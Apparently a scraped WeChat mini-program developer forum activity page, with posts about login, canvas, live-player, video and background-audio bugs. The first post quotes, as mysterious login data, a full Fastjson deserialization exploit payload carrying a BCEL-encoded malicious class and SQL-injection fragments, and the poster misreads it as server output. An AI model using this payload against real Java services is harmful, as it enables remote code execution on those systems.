你们没有遇到这个问题吗? 这些数据明显是服务器的产生的内容
登录时,服务器返回奇怪的 数据https://developers.weixin.qq.com/miniprogram/dev/api/open-api/login/wx.login.html wx.login() 登录成功后 获取到奇怪数据: "a" : { "@type" : "java.lang.Class", "val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" }, "b" : { "@type" : "java.lang.Class) AND 13=14 # m", "val" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "c" : { "@type" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader" }, "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90dCB$W$uG$N$b09v$b7$a1$95B$c2$99$90$40J$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fZ$8f$daPO$b4$ae$b7P$eb$s$U9$eaA$b1Z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$sy$be$f9$be$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f3$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$O$K$b8$5bD7$de$cc$e3$z$ec$fcV$Bo$T$d1$84C$C$de$$$e0$j$3c$de$v$e0$5d$C$ee$R$f0n$k$f7$Kx$P$8f$f7$96$a0$B$efc$cb$fb$F$dc$t$e0$D$C$ee$e71$s$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80$8f$88$f8$u$3e$c6$a8G$E$7c$5c$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$ac$88$cf$e1$f3$o$d6$e3$L$C$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$S$d3$f4$b0$88$_$p$c7c$9c$83o$b5$a6k$d6Z$O$eeP$dd$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$a9$adFb$3f$879$a1$ae$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$xC$dd$f2$88$zE$89$a4$U$da$b9$k$e2$m$b6$efS$d4$RK3$f44$H$ef$a0ju$90$c0$ca$o$aa$K$u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_fdLE$ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$OF$e4$RYI$aa$R$cb$e6$88d$y$z$V$e9$cf$MDZ$f7$5bj$5b2$a3$PI8$81$afH8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$vR$a7n$a9$83$aa$c9$i$f9$g$8f$afK$f8$G$ceJx$M$e78$f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$ac$O$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$dd$9a$Z$YPM$w$e6$a8$v$8fpX8$r$dfc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$O$Lf$b2uhj$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$ebV$d2T$e5DZ$c2N$f4$91_$7d$F$95$eb$b5$afZ$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb$oG$7d$96l$S$$8$E$a6$84$b6gt$ddA$a0$cfJj$e9$da$eb$c8FR$d6$T$v$W$a0o0e$f4$cb$a9$7c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$WV$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d$iJ$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6$ad$MY$f2$cb$89$c4$a4$u$cf$f8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$afY$g$7c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qpl$efc$8a$ac$ebLw$cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$83$84$e7p$5e$c2$9f$f1$94$84$bf$e0$af$S$b6$p$s$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e4$b4$b5$3bm$e8$d1$bd$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$df$cc$U$db$80a$f6P$w8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zYWHjv$a8$c8$40$m$U$f5$c6$b7$b5S$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$O$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93$W$cb$LB$cd$X$s$7c$95$yO$ab$p$a9$x$r$V$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6W7$3f4$a8$7fI$abs$d8d$g$Z$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$3e0$f6$d3$9c$Yv$a6$Lu$v$r$95$b1$z$bdJE$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tOt$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$82$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$V$O$_$d6$3b$ba$ba$cfr$b0$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$sT$a8$60$ea$86t$cc$$F$t$9d$96$e1$98$c6b$fa$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$o$89$d0T$84$8b$b1r$a3$f4$91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$Il$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$G$w$3d$93$e6$c8D$d8$937Al$ddWS$d2$fe$ff$x9F$99$A$M$faN$ae$b0$9f$e3$98M$U$96$af$b5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3T$80$d3$94$d5$a7$89$f3$F$f4$d2$_0$H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5b$R$cfW$ad$8e$caA$l$TN9$f0$A$dcv9Vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$C$cd$e9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$eb$O$3a$dd$K$9e$y$95b$X$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$db$f1$Kx$$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$s$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e0$9a$J$y8$83$85$f4$d7$e5$5e3$bf$e1$d4$R$d7$f5$N$f3$97$f7$84$cf$ba$96$90$fb$8b$9a$3dAO$60q$O$d7$kvU$d1$ee$V$b4$hs$95$84$D$b5$q$d6$ec$Nz$l$c5$921$ee$a5$a07$b0$94$I$81el$J$d9WY$I$cd$be$y$f7$y$5d$d5$db$s$g$9a$7d$ee$V$7c$V$l$f4$jG$p$87$p$dc$a9$a0$af$8a$3f$8e$b0$L$cdBP$ID$f2$gY$fd$a3n$aa$3f$d5$3e$e8$a5$8dH$85o$f6$3b$X$d7$e5q$d3$U$b3o$3dyX7$c5$D$cb$c7q$3d$83$c8$Z41$9f$cfb$uH$89$be$e10$94$a0$9fI$be$d2$91tZ$a3$3c$e8$f7$5c$ee$88$K$9cc$7d$c0$e0$e5$b0$ae$f0N$g$89$7b$f2$96$fc$de$Z$96$e2d$c3$W$f1$b4$5c$cd$b3$hgz6$96$f7$ec$de$ff$c1$b3$c0$ca$J$ac$ca$a19$d0$c2$w$80$m$f5$7c$TY$5b$cd$5c$5cC$zO$dedQ$9d$a7$aee$d4u$O$b5Y$M$faO$60$7d$fc$E6$c4$83$e28Zsh$cba$e38$da$D$j9l$caas$O$9d$T$b8$89$e2$m$d7Jl$d7$c6P5w$M$VA$ff$E$b6$e4$d0$e50$Q$c5$97$85$ff$m$cfe$_$ae$9e$3c$b8$b8$ec$85$t$b2$f0la$8d$d9$D$99pYG$f0$earm$a5$a7$83$e9$p$I$d1$w$d0$c9O$cdZ$82$f9$84$f1E$84$ecZ$ccB$3d5$edZ$94S$dbV$90t$r$c9W$93$86$d9$84$ec$wh$84$f8$M$e6$e2$m$e6$e1$k$92$ba$9f$d0$7f$M$L$f0$M$W$e2$3c$Wq$d5X$ccu$e2Zn$L$96p$fb$b0$94$bb$h$cb$b8$a3$Iq$e7Q$e7$aa$40$bd$ab$92$90U$8b$88k9$9a$5c$x$b0$dc$b5$Ks$5d$eb$b0$c2$d5$86$h$5d$j$uqua$jy$b9$c6$b5$8d$feU$ed$b5$bb$ae$fc$o$aa9$k$L$b9K4$t$7c$f6$8e$c7$ed$3c$ee$a0$v$A$da$ca$d4d$b3x$f4s$X$f0$a4$3d$Yv$bc$84C$dby$uuR$c5$L$f0$bd$I$ef$r$g$3fn$5b$Q$f87$bc$ad$q$c3$e6y$82$d4$bb$a0$fe$H$d8$3e$ebc$Z$Q$A$A" } "@type" : "org.apache.commons.dbcp.BasicDataSource", "driverClassLoader" : { "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader\"))))) AS w WHERE 23=23 # w" }, "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$a5Wyx$Ug$Z$ff$cd$5e3$3b$99$90dCB$W$uG$N$b09v$b7$a1$95B$c2$99$90$40J$S$u$hK$97P$db$c9$ec$q$3bd3$Tfg$J$a0$b6$k$d4$D$8fZ$8f$daPO$b4$ae$b7P$eb$s$U9$eaA$b1Z$8fzT$ad$d6zk$f1$f6$8f$da$f6$B$7c$bf$99$N$d9$84$ad$3c$3e$sy$be$f9$be$f7$7b$ef$f7$f7$be3y$fc$e2$p$a7$A$dc$80$7f$89$Q1$m$60P$84$PI$b6h$Cv$f3$Y$e2$91$f2$a3$E$c3$8c$a4$f30x$8c$88t$de$p$c2D$9a$JY$C2$ecr$_$8fQ$B$fb$E$ec$e7q$80$R$5e$c3$e3$b5$ec$f9$3a$R$d5$b8S$c4$5dx$3d$5b$de$m$e2$8dx$T$5b$O$K$b8$5bD7$de$cc$e3$z$ec$fcV$Bo$T$d1$84C$C$de$$$e0$j$3c$de$v$e0$5d$C$ee$R$f0n$k$f7$Kx$P$8f$f7$96$a0$B$efc$cb$fb$F$dc$t$e0$D$C$ee$e71$s$e00$T$bc$93$z$P$I$f8$a0$80$P$J$f8$b0$80$8f$88$f8$u$3e$c6$a8G$E$7c$5c$c0$t$E$3c$u$e0$93$C$b2$3c$3e$c5$e3$d3$o6$e03l$f9$ac$88$cf$e1$f3$o$d6$e3$L$C$be$c8$9eG$d9r$8c$89$3e$c4$7c$fc$S$d3$f4$b0$88$_$p$c7c$9c$83o$b5$a6k$d6Z$O$eeP$dd$z$i$3cmFB$e5P$d6$a5$e9jOf$b8_5$7b$e5$fe$UQ$fc$a3$a6f$a9$adFb$3f$879$a1$ae$dd$f2$5e9$9a$92$f5$c1$e8$d6$fe$dd$aab$b5$f4$b52$f1$d2$98$r$xC$dd$f2$88$zE$89$a4$U$da$b9$k$e2$m$b6$efS$d4$RK3$f44$H$ef$a0ju$90$c0$ca$o$aa$K$u1$cb$d4$f4$c1$96$ba$x$99xLPY8$I$ab$95$94$j$B$8f$e3$94$40$ca$_$r$97$c7$pd$_fdLE$ed$d0$98$fbe$bd$c6$b0$o$5b$edJ$d2$880$5d$Sz$b0$95C$ada$OF$e4$RYI$aa$R$cb$e6$88d$y$z$V$e9$cf$MDZ$f7$5bj$5b2$a3$PI8$81$afH8$89Sd$$$adZ$ec$82B$u$9b$f2$a9$z$r$a7$89$e2$eak$95p$gg$q$3c$8a$afr$u$9f$e94$87$8a$vR$a7n$a9$83$aa$c9$i$f9$g$8f$afK$f8$G$ceJx$M$e78$f0$Jc$H$cb$b6$84o2$3d$8bf$Y$ea1$ac$O$p$a3$t$$$e7$93C$rc$89$e8$9aa$7b$dd$9a$Z$YPM$w$e6$a8$v$8fpX8$r$dfc$c42J$b2$5b$b5$92$c6$94$b8$84$c7$f1$z$O$Lf$b2uhj$aa$90$eb$db8$c7$bc$7d$82R$_$e1$3b$f8$ae$84$ef$e1$fb$94v$JO$e2$H$S$7e$88$l$91$ebV$d2T$e5DZ$c2N$f4$91_$7d$F$95$eb$b5$afZ$q$fc$YO$91s$ea$3eU$91$f0$T$fc$94$f6I$cb$oG$7d$96l$S$$8$E$a6$84$b6gt$ddA$a0$cfJj$e9$da$eb$c8FR$d6$T$v$W$a0o0e$f4$cb$a9$7c$fc$8e$40AV$c4$R$d3P$d4t$da0$a98$b3l$WV$ddh$97$96$b6$q$fc$MO$b3$I$7eN$d07$d5$3d$iJ$c8$f4v5$3dB$f8dx$a7$d3fr$97$99$v$9f$JH$c2A$af$9a$b6TB$93$84_$e0$Zb$t$5c$Q$f6$ad$MY$f2$cb$89$c4$a4$u$cf$f8$94$e1$E$ed$8ctD$97$87$a9$v$7e$v$e1Y$fcJ$c2$afY$g$7c$a3$9a$9e0F$e9$9e$b8$o$94$T$82QT$a1c$b4_$d3$a3$e9$q$j$c3$ca$qpl$efc$8a$ac$ebLw$cd$94$5b$db$9c$40$5b3Z$w$e1$60$ea7$S$7e$8b$df$f1$f8$bd$84$3f$e0$8f$8c$f2$tR$b5k$83$84$e7p$5e$c2$9f$f1$94$84$bf$e0$af$S$b6$p$s$e1o$f8$3b$8f$7fH$f8$tsi$9eb$MG$H$e4$b4$b5$3bm$e8$d1$bd$99Tt$aay$a8$f9$a7$ac$9a$ea$40$8a$60$j$b5$812$zMN$a9g$d4$3f$df$cc$U$db$80a$f6P$w8$y$J$fd$f7f$b7$f1N$S$r$ba$3a$da$a9$a7$zYWHjv$a8$c8$40$m$U$f5$c6$b7$b5S$aa$8a$c8WP57$aaJJ6$d5$84$83$7e$O$eb$8b$d8$ee$bbB$b6$d0$d2d$bc$8e$Gf1$d4$c9$a6$5e$cd$cb$b1Py5$7d$af1D$3e$af$w63$af$q$V$NL$m$ef$f3$p$a62T$y$3d$M$ac$93$W$cb$LB$cd$X$s$7c$95$yO$ab$p$a9$x$r$V$b1$cc$88j$w$8e$d1$aab$f2l$da$T$e87$u$Mx$9a$dd$a1$9e$d0NFv$db$3d$bc$b4H$c0E$a3$xU2$a6$a9$ea$d6$qf$a6W7$3f4$a8$7fI$abs$d8d$g$Z$9a$W$c1$o$7c$f6$VC$Y1$3b$I$9b$ae$ed2$E$F$c5$d0$zYc$af$a2y$85$8e$b6$re3$a6$ee$c9$a8$E$b4$96$ba$9d$USZ$3b$a0$dao$c7N$96$88$ce$a2$n$f0Z$ba$7dx$c4$dao$f3$ed$9c$3e0$f6$d3$9c$Yv$a6$Lu$v$r$95$b1$z$bdJE$$$fbYb$Z$5d$c6$a8j$b6$c9l$uU$87$8a$f4$TK$b9$97Z$c3$b4$98$83$85Z$f2S$a1e$da$7b$tOt$S$da$a9$8fdhnQ$ea$86$d9k$3d$_$ac$Z$d1$82$L$S$af$J$V$bd$60$96$a5LZ$dd$a8$a6$b4az_$d1LZ$f6$f2$81$V$O$_$d6$3b$ba$ba$cfr$b0$9d$7f$a1zBu$7d$ad$O$fa$f2$99$d2$Y$b9$sT$a8$60$ea$86t$cc$$F$t$9d$96$e1$98$c6b$fa$e2$R$c1$7e$3c$e0$d8$x$9f$d6mt$ba$86$9e$i$3d$bd$f5$e3$e0$8e$d1$86$c3$cd$b4$fa$i$o$89$d0T$84$8b$b1r$a3$f4$91$e8$r$ea$8b$B$d7$E$dc$3d$e1$i$3c$dd$e1$80$d7w$S$be$b8$3b$c0$c7$e2$9e$87$m$c4$e2$5e$b6$e6$e0o$f4$9e$84$Yw7$Q$dd$d9$9d$40I$dc$3d$O$89$Il$dbp$8a$ed$89$b3tG$7d$O$b3$Ce$k$5bQ$98$u$e5$f5$k$5b$a2$d1$be$cd$e2P$b3$t$Q$b0m$G$w$3d$93$e6$c8D$d8$937Al$ddWS$d2$fe$ff$x9F$99$A$M$faN$ae$b0$9f$e3$98M$U$96$af$b5$u$a3$b5$83$f2$b6$89$b2$b4$99h$9dt$bf$9d8o$82$85$z8$80$$$dcG$rx$98h$e3$94$fe$e3T$80$d3$94$d5$a7$89$f3$F$f4$d2$_0$H$ee$e7a$f2x$d5$f3$d8$c8$e3$96$L$d8$c0c$H$8f$5b$R$cfW$ad$8e$caA$l$TN9$f0$A$dcv9Vr$b6$d7$U$96$f8$m$aa$c3$N9TugQ$da$ec$a1$C$cd$e9$c9$5ez$ae$f11H$tP$jo$YG$cd$e9FO$O$c1F$S$98$7b$944$96$a2$92$be$e4$ab$f3A$y$87D$eb$O$3a$dd$K$9e$y$95b$X$dd$dfF$f7$afF$Nn$t$ac$dc$81EPP$8b$E$c2$Y$m$feA$db$f1$Kx$$$80$e7$b1$8b$9c$ed$e1q$9b_$wpY$m$e1$3c$d8$dc$s$9dJ$A$d7$cd$ee$96$J$cc$cba$7e$e0$9a$J$y8$83$85$f4$d7$e5$5e3$bf$e1$d4$R$d7$f5$N$f3$97$f7$84$cf$ba$96$90$fb$8b$9a$3dAO$60q$O$d7$kvU$d1$ee$V$b4$hs$95$84$D$b5$q$d6$ec$Nz$l$c5$921$ee$a5$a07$b0$94$I$81el$J$d9WY$I$cd$be$y$f7$y$5d$d5$db$s$g$9a$7d$ee$V$7c$V$l$f4$jG$p$87$p$dc$a9$a0$af$8a$3f$8e$b0$L$cdBP$ID$f2$gY$fd$a3n$aa$3f$d5$3e$e8$a5$8dH$85o$f6$3b$X$d7$e5q$d3$U$b3o$3dyX7$c5$D$cb$c7q$3d$83$c8$Z41$9f$cfb$uH$89$be$e10$94$a0$9fI$be$d2$91tZ$a3$3c$e8$f7$5c$ee$88$K$9cc$7d$c0$e0$e5$b0$ae$f0N$g$89$7b$f2$96$fc$de$Z$96$e2d$c3$W$f1$b4$5c$cd$b3$hgz6$96$f7$ec$de$ff$c1$b3$c0$ca$J$ac$ca$a19$d0$c2$w$80$m$f5$7c$TY$5b$cd$5c$5cC$zO$dedQ$9d$a7$aee$d4u$O$b5Y$M$faO$60$7d$fc$E6$c4$83$e28Zsh$cba$e38$da$D$j9l$caas$O$9d$T$b8$89$e2$m$d7Jl$d7$c6P5w$M$VA$ff$E$b6$e4$d0$e50$Q$c5$97$85$ff$m$cfe$_$ae$9e$3c$b8$b8$ec$85$t$b2$f0la$8d$d9$D$99pYG$f0$earm$a5$a7$83$e9$p$I$d1$w$d0$c9O$cdZ$82$f9$84$f1E$84$ecZ$ccB$3d5$edZ$94S$dbV$90t$r$c9W$93$86$d9$84$ec$wh$84$f8$M$e6$e2$m$e6$e1$k$92$ba$9f$d0$7f$M$L$f0$M$W$e2$3c$Wq$d5X$ccu$e2Zn$L$96p$fb$b0$94$bb$h$cb$b8$a3$Iq$e7Q$e7$aa$40$bd$ab$92$90U$8b$88k9$9a$5c$x$b0$dc$b5$Ks$5d$eb$b0$c2$d5$86$h$5d$j$uqua$jy$b9$c6$b5$8d$feU$ed$b5$bb$ae$fc$o$aa9$k$L$b9K4$t$7c$f6$8e$c7$ed$3c$ee$a0$v$A$da$ca$d4d$b3x$f4s$X$f0$a4$3d$Yv$bc$84C$dby$uuR$c5$L$f0$bd$I$ef$r$g$3fn$5b$Q$f87$bc$ad$q$c3$e6y$82$d4$bb$a0$fe$H$d8$3e$ebc$Z$Q$A$A" 从数据上看, 是服务器端的 返回了一些 奇怪的数据到。 小程序段 将这些奇怪的数据提交后台 调用 jscode2session 。 然后就登录失败了。
2022-06-15同问,估计什么时候能解决啊?
canvas2d,clearRect在真机上无效?https://developers.weixin.qq.com/s/J04P6KmK7YkU 代码片段。在真机上预览画布就没法清空。
2020-11-23[图片] 开发工具的版本一样的
live-player的子元素dom,在开发工具里审查的元素中,为什么无法查看到?我的同事的电脑上是可以审查到子元素。 而只有我的电脑遇到此问题。我将开发者工具卸载, 重新安装,重启电脑后依旧无效。 有什么配置会影响到此问题吗? [图片]
2020-11-23同问, 我这里也发现android, 在live-player 中 使用canvas ,全屏的时候,动画无法显示。
canvas无法位于全屏下的live-player之上?目的:在live-player 之上显示一个canvas层用于绘制一些信息。 微信版本: Android7.0.6,小程序基础库:2.8.1 ,使用的到的控件:live-player, canvas 当live-player处于“非全屏”模式下时:canvas可覆盖在live-player之上,示例图如下: [图片] 当live-palyer处于“全屏”模式下时:canvas不能覆盖在live-player之上,示例图如下: [图片] 具体代码如下: index.wxml [代码]<[代码][代码]live-player[代码] [代码]id[代码][代码]=[代码][代码]"livePlayer"[代码] [代码]class[代码][代码]=[代码][代码]"player-container-view"[代码] [代码]style[代码][代码]=[代码][代码]"width:390px;height:220px;z-index:100;"[代码] [代码]autoplay[代码][代码]=[代码][代码]"{{true}}"[代码] [代码]mode[代码][代码]=[代码][代码]"live"[代码][代码] [代码][代码]src[代码][代码]=[代码][代码]"rtmp://58.200.131.2:1935/livetv/hunantv"[代码] [代码]orientation[代码][代码]=[代码][代码]"vertical"[代码]>[代码] [代码][代码]<[代码][代码]canvas[代码] [代码]canvas-id[代码][代码]=[代码][代码]"container"[代码] [代码]style[代码][代码]=[代码][代码]"width:390px;height:220px;position: absolute;top:0;left:0;z-index: 9999;color:#ffffff;"[代码] [代码]binderror[代码][代码]=[代码][代码]"canvasError"[代码][代码]></[代码][代码]canvas[代码][代码]>[代码] [代码]</[代码][代码]live-player[代码][代码]>[代码] [代码]<[代码][代码]button[代码] [代码]class[代码][代码]=[代码][代码]"btn"[代码] [代码]type[代码][代码]=[代码][代码]"primary"[代码] [代码]bindtap[代码][代码]=[代码][代码]"onTap"[代码][代码]>[代码][代码] [代码][代码]进入全屏[代码][代码]</[代码][代码]button[代码][代码]>[代码] index.js [代码]Page({[代码][代码] [代码][代码]onTap: [代码][代码]function[代码][代码](){[代码][代码] [代码][代码]this[代码][代码].playerCtx.requestFullScreen({[代码][代码] [代码][代码]direction: 90,[代码][代码] [代码][代码]success: res => {[代码][代码] [代码][代码]console.log([代码][代码]'requestFullScreen success: '[代码][代码], res)[代码][代码] [代码][代码]},[代码][代码] [代码][代码]fail: res => {[代码][代码] [代码][代码]console.log([代码][代码]'requestFullScreen fail: '[代码][代码], res)[代码][代码] [代码][代码]}[代码][代码] [代码][代码]})[代码][代码] [代码][代码]},[代码][代码] [代码][代码]canvasError: [代码][代码]function[代码][代码](e) {[代码][代码] [代码][代码]console.log([代码][代码]"canvas error "[代码][代码], e)[代码][代码] [代码][代码]},[代码][代码] [代码][代码]onLoad: [代码][代码]function[代码][代码](){[代码][代码] [代码][代码]wx.setNavigationBarTitle({[代码][代码] [代码][代码]title: 'live-player&canvas'[代码][代码] [代码][代码]})[代码][代码] [代码][代码]},[代码][代码] [代码][代码]/**[代码][代码] [代码][代码]* 生命周期函数--监听页面初次渲染完成[代码][代码] [代码][代码]*/[代码][代码] [代码][代码]onReady: [代码][代码]function[代码] [代码]() {[代码][代码] [代码][代码]this[代码][代码].playerCtx = wx.createLivePlayerContext([代码][代码]"livePlayer"[代码][代码])[代码][代码] [代码][代码]this[代码][代码].canvasCtx = wx.createCanvasContext([代码][代码]'container'[代码][代码]);[代码][代码] [代码][代码]this[代码][代码].canvasCtx.clearRect(0, 0, 390, 220);[代码][代码] [代码][代码]this[代码][代码].canvasCtx.setStrokeStyle([代码][代码]"#ff0000"[代码][代码])[代码][代码] [代码][代码]this[代码][代码].canvasCtx.setLineWidth(5)[代码][代码] [代码][代码]this[代码][代码].canvasCtx.strokeRect(10, 10, 370, 200)[代码][代码] [代码][代码]this[代码][代码].canvasCtx.draw()[代码][代码] [代码][代码]}[代码][代码]})[代码] 还请知道的高手指点指点,怎么解决live-player全屏时,canvas不能覆盖在其上方的问题。
2020-11-18浏览器里 测试可以正常播放 在自定义组件内, 添加 video,无法播放。 可是在页面里直接写 video 控件,可以正常播放。
video 无法正常播放http://plvvm2fi9.bkt.clouddn.com/774f8eaf-96b5-4731-bbd9-dec861765980%281%29.m3u8 https://qiniucs.yunjilink.com/774f8eaf-96b5-4731-bbd9-dec861765980.m3u8 上面👆这个视频,hls 地址 在部分iphone 手机(我手边所有iphone 手机)上, 小程序无法正常播放。 模拟器上有抛出异常 HLS error, type: mediaError, details: bufferSeekOverHole, response: "none" 但是播放正常。 真机上没有抛出异常,但是无法正常播放。 所以不太确定是此错误造成无法播放。
2020-07-24h5h5 只能跳转 当前小程序的一些页面。不过可以自己实现一个调转页面,h5跳转此跳转页面后,根据参数跳转对应的其他小程序页面。未测试,估计可以。(https://developers.weixin.qq.com/miniprogram/dev/component/web-view.html)
H5可以带参数跳转小程序吗?通过如下内容了解到,H5可以嵌套在小程序中,实现H5跳小程序。 (即:小程序里webview嵌套H5页面,然后那个H5页面就可以跳到小程序任何页面) https://developers.weixin.qq.com/community/develop/doc/0006ceb27f075865acf8cf95851c00 有如下问题: 1、通过小程序里webview嵌套的H5是小程序还是H5? 2、嵌套后,如客户在嵌套的H5页面中填写了一些信息,可以带参数跳转到另一个小程序中吗?
2020-06-15什么时候能支持?
请问现在的小程序版本live-player组件支持m3u8格式播放吗请问现在的小程序版本live-player组件支持m3u8格式播放吗
2020-05-11bug
动态绑定class时使用wxs中计算出的数据无效- 当前 Bug 的表现(可附上截图) 动态绑定class时使用wxs中计算出的数据无效 [图片] - 预期表现 希望能使用wxs种的数据动态改变class - 复现路径 - 提供一个最简复现 Demo
2020-04-30我这里 也有同样问题,android 会出现。 服务器用的是七牛
BackgroundAudioManager.onError 返回的错误信息如何理解和处理?我们线上用户在播放 hls 音频 m3u8 时(音频本身已确保正常可用)捕捉到一些诡异的error。由于看不懂error的意思,尝试搜索官方文档、社区以及各搜索引擎未果,无法做出对应的处理,严重影响了用户的使用体验,希望官方可以给予指点和帮助。 以下是每天都会出现的两类无解error,出现之后会导致整个背景乐无法播放,我们该如何处理这种error才能让用户正常播放背景音频? Android7.0.10 "errCode":10001,"errMsg":"errCode:-40, err:" iOS7.0.10 "errMsg":"VoIP is working","errCode":10001
2020-03-31+1 解决了嘛? 我的用户也发现同样的问题。
BackgroundAudioManager errCode 10003这是一个部分用户触发的错误,地区国内。故无法提供可重现的代码,实在抱歉。 # 我们的测试方法 用户遇到播放错误,且更换地址重试3次都无法解决是,会提示用户,并请示到【测试界面】。 我们预先准备了4个播放地址(mp3和mp4格式),分别对 BackgroundAudioManager 和 InnerAudioContext 进行测试。 触发过 time-update 事件则标记为 【正常】并结束测试;触发过 error 事件则标记为 【异常】并结束测试。 # 我们测试代码: a. BackgroundAudioManager版本 ⬇⬇⬇⬇⬇⬇ [代码]Component({[代码][代码] [代码][代码]properties: {[代码][代码] [代码][代码]source: {[代码][代码] [代码][代码]type: Object,[代码][代码] [代码][代码]}[代码][代码] [代码][代码]},[代码] [代码] [代码][代码]methods: {[代码][代码] [代码][代码]nativePlayData() {[代码][代码] [代码][代码]const self = [代码][代码]this[代码][代码];[代码][代码] [代码][代码]const data = [代码][代码]this[代码][代码].data.source;[代码][代码] [代码][代码]const backgroundAudioManager = wx.getBackgroundAudioManager();[代码] [代码] [代码][代码]this[代码][代码].ctx = backgroundAudioManager;[代码] [代码] [代码][代码]backgroundAudioManager.title = [代码][代码]'测试音频'[代码][代码] [代码][代码]backgroundAudioManager.epname = [代码][代码]''[代码][代码];[代码][代码] [代码][代码]backgroundAudioManager.singer = [代码][代码]''[代码][代码];[代码][代码] [代码][代码]backgroundAudioManager.coverImgUrl = data.shelfPicture;[代码][代码] [代码][代码]backgroundAudioManager.src = data.playUrl;[代码] [代码] [代码][代码]backgroundAudioManager.onTimeUpdate([代码][代码]this[代码][代码].updateHandler = [代码][代码]function[代码][代码](e) {[代码][代码] [代码][代码]self.triggerEvent([代码][代码]'time-update'[代码][代码], e);[代码][代码] [代码][代码]});[代码] [代码] [代码][代码]backgroundAudioManager.onError([代码][代码]this[代码][代码].errorHandler = [代码][代码]function[代码][代码](res) {[代码][代码] [代码][代码]self.triggerEvent([代码][代码]'audio-error'[代码][代码], {code: res.errCode, text: res.errCode + 